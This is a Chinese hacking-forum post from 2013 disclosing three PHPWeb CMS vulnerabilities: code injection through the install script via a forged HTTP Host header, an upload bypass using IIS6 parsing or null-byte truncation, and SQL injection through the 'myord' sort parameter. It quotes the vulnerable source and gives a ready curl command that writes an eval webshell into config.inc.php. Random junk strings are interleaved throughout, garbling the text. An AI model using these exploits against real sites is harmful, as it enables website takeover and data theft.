找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2240|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
7 ]" ^0 Z9 B1 _( z/ Q8 @
: v* J  d0 C8 D9 r$ K之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
( T1 m; V8 y. ]- ~ * [5 l5 _  P6 ^6 b
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
, Q+ o3 t" D. A  S, `鸡肋2: 有一定安全常识的站长都会删掉 install 目录
) |) C3 c4 {: {
$ S8 J  s( X8 m5 S: M8 J虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响- U; m, O. W3 I3 ^

3 O  G* u: A. o分析:
6 j3 C5 j7 d5 @0 Y& u* B  {
$ r: x6 G+ u5 \3 O& A6 J* B8 V , q/ f+ Q: t! r: V
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
( r7 d# r5 a" E1 q8 O8 ?) _# o   S, W; t/ o8 E4 {* a' M7 M
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
& k3 y+ M# q" F* g* q                                            $filestr=str_replace(" ","",$filestr);; Z7 l9 s* V9 Y7 M* `* P
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);9 @6 g+ v# P5 _9 L2 i  ]- I1 T
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);  r, V+ U: I. `0 k  t* z
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
5 ]" a: w1 j4 D+ s                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ ^  d! H& S/ F" M6 K+ P                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);+ ^  }" @! _2 ~' z2 u
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
6 s8 f4 M5 g0 Q7 h                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
) G6 q/ G* q+ r/ Y & y* I+ _* J" U2 X. d  ?6 u' }& u
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);* G9 e' Q9 g. `7 `5 B$ ]0 E0 c
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^  T" h" Q6 c) r, i3 o8 g+ h
7 [/ O, g/ j3 L& \! S9 @% u. Z
poc:- K* o& a' }/ O8 B* K
1 i& [7 p* k$ d0 q+ y8 ?. B( @* P
?$ G& \! q* H. V! t, D8 L: A
1
; T4 C) s! e4 w& x9 hcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% K9 y) _. k/ F, L8 r
shell地址: /config.inc.php
" N" r$ f* L) l, T6 S5 d; N+ B跟之前的 phpcms一样 需要远程数据库* Q  F8 N3 ~& Y) f6 B; U
; P3 Z. b0 h: A* D$ m. T; _. N
——————————————————–
4 y4 O0 @& T5 e0 R- X* W4 ?上传漏洞(需要进后台):( S' U8 i9 d1 Z( \. [
漏洞文件: /kedit/upload_cgi/upload.php
: C2 I6 Y% a3 f4 V这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用7 I# Q5 H2 K7 ?$ u: k2 o# n7 _) W
- v& D/ x% I8 P( o" s' @8 W& q  s
; F3 X# H8 J4 _5 [/ Y
<?php
' X! O$ Q& |4 ~! D1 w  ?. j    define("ROOTPATH", "../../");
9 y* ^  I' c+ D9 D; T& l    include(ROOTPATH."includes/admin.inc.php");
2 S8 L' {* ?4 s$ g' {: s0 N- N9 ?    NeedAuth(0);
1 f) H. L+ n0 v( |' ^1 w 8 ^; m/ ]9 T4 A( o; O: S7 {8 j
    $dt=date("Ymd",time());
, I' s; l  m+ l4 p3 j/ h    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){/ e5 O& X, d& q, z6 I* h. H
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
+ U- o$ K: \& @  q) P! E) l    }0 s/ _7 o0 I  G- H9 W8 e& |
& j% `0 ?0 Z% V4 h8 A4 N7 F
    //文件保存目录路径
4 T8 C7 w, y( P5 x0 x$ c6 a% Z    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';7 g* v6 f) j8 ?9 Y# [2 t
    echo $save_path;
) o6 D* i1 O# a! [! W/ Y    //文件保存目录URL
# ]- z0 b% h/ c  V( o  y    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 e, M* |. |. N# V4 @2 v. ^1 u
8 |+ L. k( }5 x5 @5 R3 M3 H    //定义允许上传的文件扩展名
0 H9 w1 i7 f, S- e; t4 T8 w    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# H. }3 ~  c9 g4 t8 o; ?! s  c0 D 1 P* {; k" M4 g1 Q& }  ~, {% u' f
    //最大文件大小
3 I$ e& i6 h3 a9 G' v1 G" n    $max_size = 1000000;3 @5 s0 h) h; O5 |
, Z# ^! W: @0 e* U' a0 `
    //更改目录权限
* b# f7 h( F  C' b& K$ }    @mkdir($save_path, 0777);9 R$ F+ s  y2 i: J7 A

$ t5 }; O: z. ?+ N  |& i- N    //文件的全部路径% w7 w$ N, b9 t
    $file_path = $save_path.$_POST['fileName'];   //保存文件名8 f% c. R  ?' m& A1 w

7 b; o( D5 H7 z7 w: Q/ p1 I9 U+ t    //文件URL
3 e; a4 u) y1 C7 U5 e    $file_url = $save_url.$_POST['fileName'];
' x1 X+ ~: c2 G* @, K//有上传文件时
" R9 h) n' I7 E$ O" N7 s8 j; O    if (empty($_FILES) === false) {
5 ~; G) N$ G7 K- l& F
% t3 ]! k! c1 _" \% e            //原文件名
+ l# ], {. U+ i: O            $file_name = $_FILES['fileData']['name'];
; J$ n6 k) g! }            //服务器上临时文件名4 W' y  [- q% f( w0 B
            $tmp_name = $_FILES['fileData']['tmp_name'];5 f% y3 e$ u  X3 h) Z3 ~2 x
            //文件大小3 c) T4 v' r4 y3 w! O
            $file_size = $_FILES['fileData']['size'];3 C5 V1 X0 s  j
            //检查目录
9 P6 Q6 E; Y$ p; R( z4 K            if (@is_dir($save_path) === false) {
1 V$ g3 x" r3 }! _, t2 H                    alert("上传目录不存在。");
6 A, O! g6 U) m5 D, b            }" M7 w0 D( c2 n1 }+ L
            //检查目录写权限# S( _8 |7 ^% u# X) T# b/ p
            if (@is_writable($save_path) === false) {4 z$ G# e( w. T  N
                    alert("上传目录没有写权限。");
6 e0 K, _. u. [" W, S! |7 N1 @            }
5 Y' y4 N7 v: S( ]            //检查是否已上传
3 b1 ]- I3 X# R6 y6 w8 L& r            if (@is_uploaded_file($tmp_name) === false) {
& Z% w+ E" x- Q+ R7 a( x                    alert("临时文件可能不是上传文件。");
( P% Q7 d+ _: p4 d/ U6 q            }; u3 e. a, c0 N; I4 ]; T
            //检查文件大小  W# b7 n9 {% b" ?2 j
            if ($file_size > $max_size) {4 u7 Y- h# m! Q
                    alert("上传文件大小超过限制。");
  O% n8 X0 ?! G! g0 W            }: @8 s+ i0 t+ m1 a# _
            //获得文件扩展名( M5 q; U# L- l& B
            $temp_arr = explode(".", $_POST['fileName']);8 A# J* _5 K% Y% W- L5 p
            $file_ext = array_pop($temp_arr);
1 E2 j4 K2 Y3 w1 n            $file_ext = trim($file_ext);
& {' [# P. p* B7 h- E. U9 K            $file_ext = strtolower($file_ext);: _& `4 a9 F5 T; d: R. t

+ A/ d# @1 e. h7 H% `            //检查扩展名   $ d8 Y9 u6 ]8 d2 \! q
            if (in_array($file_ext, $ext_arr) === false) {     
7 w& a. S6 T4 y& J% h5 E8 E                    alert("上传文件扩展名是不允许的扩展名。");
" s  C' v* b: l3 Q& V. l            }
/ d3 I# b" m2 Z' t5 ~% @, q0 @
/ _& l8 o+ Q4 [# P# @' L            //移动文件   
; |) a( D" G& H, u; n, Y            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
$ b; V' k# v& B5 r$ G- Z7 y- B8 |            if (move_uploaded_file($tmp_name, $file_path) === false) {% t2 Z5 p/ |6 P- M9 e. _
                    alert("上传文件失败。");9 \0 G& ^0 c7 b1 L2 v
            }( t9 j) g5 {7 ]$ _, K4 F

4 f& b! @+ D4 f- v3 m. p* A: W            @chmod($file_path,0666);
+ v& j" j2 X/ |' V! }! r- B . I& ^" u! |+ e& C, @# C  \
    ?>5 w' ^. [% x* r- f' Z0 o- s, r: Q
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
( u& g- w) Y- q) C4 k4 T# p
) E& u/ t4 w! e- japache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过/ P; Z8 }2 |' S# I3 _) K

6 h3 g0 R4 t  K; W% u! A3 c——————————————————/ O3 r- r; e8 d% L% K
注入漏洞:5 C$ J9 A. D9 Q
漏洞文件:search/module/search.php
; l# c8 e. q' M: X/search/index.php?key=1&myord=1 [sqlinjection]
. ]! [5 Z5 Z5 ]: [* e8 s 7 d+ z! v. ]: [. r

1 n) ?# }. w) i* C. G<?php. o& J8 L$ v9 i  v& U% e
   //       ... 省略 n 行...: b2 m5 B( D& H8 L# P: u
   //第18行:
+ e( O8 z6 A! b( u. j           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响- W" m% P' I+ ?, q
           $page=htmlspecialchars($_GET["page"]);
) @! X- @* V9 @& e( n: l           $myord=htmlspecialchars($_GET["myord"]);8 R+ ^( X9 {, P/ H1 H9 f

8 v. U9 a( q1 m4 ]   //       ... 省略 n 行...
/ V3 X- G$ [) Y2 p( W2 D   $key,$myord 两个参数带入查询7 d- k* L+ n# \) x$ x
   //第47行 $key:
; Z6 T7 N* {+ q) T) j1 m* ? " \8 H; Y3 X4 X) E! E3 R+ a
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过... ]- W1 \, n: q* w/ {
5 G/ ^/ ]$ Z* F
   //第197行 $myord
; f( t. P" H" S) T   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
7 F5 y& c5 O) f5 z' h! }# r! J- b ) p7 K: a! I9 U. U- h- i: L. r& ^& E
   ?>
( z6 @( P; ^( I5 G4 C; J! a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表